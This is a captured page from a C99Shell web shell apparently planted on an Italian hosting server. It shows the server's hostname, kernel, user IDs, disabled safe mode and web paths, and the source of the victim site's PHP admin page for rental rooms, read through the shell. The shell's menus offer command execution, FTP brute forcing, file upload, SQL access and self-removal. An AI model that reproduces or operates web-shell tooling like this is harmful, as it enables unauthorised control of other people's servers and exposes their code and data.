!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/aps/gestionale/pages/   drwxr-xr-x
Free 182.54 GB of 490.84 GB (37.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     spazi.php (5.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $xcrud 
Xcrud::get_instance();
    
$xcrud->table('prodotti');
    
$xcrud->table_name(' ');
    
$xcrud->where('id_tipologia_prodotto ='1); //SPAZI AFFITTO
    
$table 'prodotti';

    
//$xcrud->relation('area_medica','aree_mediche','id','area');
    
    
$immagini $xcrud->nested_table('Galleria immagini','id','galleria','id_prodotto'); // 2nd level 2
    
$immagini->columns('titolo, img');
    
$immagini->fields('titolo,img');
    
    
$xcrud->button('#'"Sali"'glyphicon glyphicon-arrow-up icon-arrow-up''btn xcrud-action', array(
        
'data-action' => 'movetop',
        
'data-task' => 'action',
        
'data-table' => ''.$table.'',
        
'data-primary' => '{id}'));
    
$xcrud->button('#'"Scendi"'glyphicon glyphicon-arrow-down icon-arrow-down''btn xcrud-action', array(
        
'data-action' => 'movebottom',
        
'data-task' => 'action',
        
'data-table' => ''.$table.'',
        
'data-primary' => '{id}'));
        
    
$xcrud->create_action('movetop''movetop');
    
$xcrud->create_action('movebottom''movebottom');
    
    
$xcrud->create_action('publish''publish_action'); // action callback, function publish_action() in functions.php
    
$xcrud->create_action('unpublish''unpublish_action');
    
$xcrud->button('#''unpublished''icon-close glyphicon glyphicon-remove''xcrud-action',
        array(  
// set action vars to the button
            
'data-task' => 'action',
            
'data-action' => 'publish',
            
'data-table' => ''.$table.'',
            
'data-primary' => '{id}'),
        array(  
// set condition ( when button must be shown)
            
'pubblicato',
            
'!=',
            
'1')
    );
    
$xcrud->button('#''published''icon-checkmark glyphicon glyphicon-ok''xcrud-action', array(
        
'data-task' => 'action',
        
'data-action' => 'unpublish',
        
'data-table' => ''.$table.'',
        
'data-primary' => '{id}'), array(
        
'pubblicato',
        
'=',
        
'1'));
    
    
    
    
//$xcrud->unset_sortable();
    
$xcrud->order_by('ordinamento');
    
$xcrud->modal('testo');
    
$xcrud->column_width('pubblicato,testo,img','70px'); 
    
$xcrud->highlight_row('pubblicato''='0'#FFA299');
    
$xcrud->validation_required('id_categoria')->validation_required('data_pubblicazione_inizio');
    
$xcrud->fields('data_pubblicazione_inizio, id_categoria, titolo_prodotto_it, testo_it, capienza_it, utilizzo_it, dotazioni_it, servizi2_it, pubblicato'false'Italiano');
    
    
$xcrud->fields('titolo_prodotto_en, testo_en, capienza_en, utilizzo_en, dotazioni_en, servizi2_en'false'Inglese');
    
$xcrud->fields('titolo_prodotto_de, testo_de, capienza_de, utilizzo_de, dotazioni_de, servizi2_de'false'Tedesco');
    
$xcrud->fields('titolo_prodotto_ru, testo_ru, capienza_ru, utilizzo_ru, dotazioni_ru, servizi2_ru'false'Russo');
    
$xcrud->fields('titolo_prodotto_jp, testo_jp, capienza_jp, utilizzo_jp, dotazioni_jp, servizi2_jp'false'Giapponese');
    
$xcrud->fields('img,didascalia'false'Immagine');
    
    
$xcrud->label('img','Preview');
    
//$xcrud->label('id_tipologia_prodotto','Tipologia prodotto');
    
$xcrud->label('id_categoria','Categoria');
    
$xcrud->label('titolo_prodotto_it','Titolo Sala');
    
$xcrud->label('titolo_prodotto_en','Titolo Sala');
    
$xcrud->label('titolo_prodotto_ru','Titolo Sala');
    
$xcrud->label('titolo_prodotto_de','Titolo Sala');
    
$xcrud->label('titolo_prodotto_jp','Titolo Sala');
    
    
$xcrud->label('testo_it','Caratteristiche della Sala');
    
$xcrud->label('testo_en','Caratteristiche della Sala');
    
$xcrud->label('testo_de','Caratteristiche della Sala');
    
$xcrud->label('testo_ru','Caratteristiche della Sala');
    
$xcrud->label('testo_jp','Caratteristiche della Sala');
    
    
$xcrud->label('capienza_it','Capienza');
    
$xcrud->label('capienza_en','Capienza');
    
$xcrud->label('capienza_de','Capienza');
    
$xcrud->label('capienza_ru','Capienza');
    
$xcrud->label('capienza_jp','Capienza');
    
    
$xcrud->label('utilizzo_it','Utilizzo');
    
$xcrud->label('utilizzo_en','Utilizzo');
    
$xcrud->label('utilizzo_de','Utilizzo');
    
$xcrud->label('utilizzo_ru','Utilizzo');
    
$xcrud->label('utilizzo_jp','Utilizzo');
    
    
$xcrud->label('dotazioni_it','Dotazioni Tecniche');
    
$xcrud->label('dotazioni_en','Dotazioni Tecniche');
    
$xcrud->label('dotazioni_de','Dotazioni Tecniche');
    
$xcrud->label('dotazioni_ru','Dotazioni Tecniche');
    
$xcrud->label('dotazioni_jp','Dotazioni Tecniche');
    
    
$xcrud->label('servizi2_it','Servizi Aggiuntivi');
    
$xcrud->label('servizi2_en','Servizi Aggiuntivi');
    
$xcrud->label('servizi2_de','Servizi Aggiuntivi');
    
$xcrud->label('servizi2_ru','Servizi Aggiuntivi');
    
$xcrud->label('servizi2_jp','Servizi Aggiuntivi');
    
    
//$xcrud->label('titolo_prodotto_en','Prodotto EN');
    
$xcrud->change_type('img''image''', array('width' => 1600'height' => 1600'manual_crop' => false));
     
$immagini->change_type('img''image''');
    
    
$date date("d.m.Y");
    
$xcrud->change_type('data_pubblicazione_inizio''datetime'$date);
    
$xcrud->change_type('pubblicato''select''1', array('1'=>'Yes','0'=>'No'));
    
$xcrud->change_type('id_categoria''select''1', array('-1'=>'-- nulla --','1'=>'Sale Congressi','0'=>'Sale Ristorazione'));
    
//$xcrud->relation('id_categoria','categorie','id','titolo_categoria_it');
    //$xcrud->relation('id_tipologia_prodotto','tipologie_prodotti','id','titolo_it');
    
    
$xcrud->columns('img, id_categoria, titolo_prodotto_it,pubblicato');
    
$xcrud->hide_button('view');
    
$xcrud->unset_csv();
    
    
// TIPOLOGIA 1 E' SPAZI AFFITTO
    
$xcrud->pass_var('id_tipologia_prodotto''1');
    
    
    echo 
$xcrud->render();
    
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0116 ]--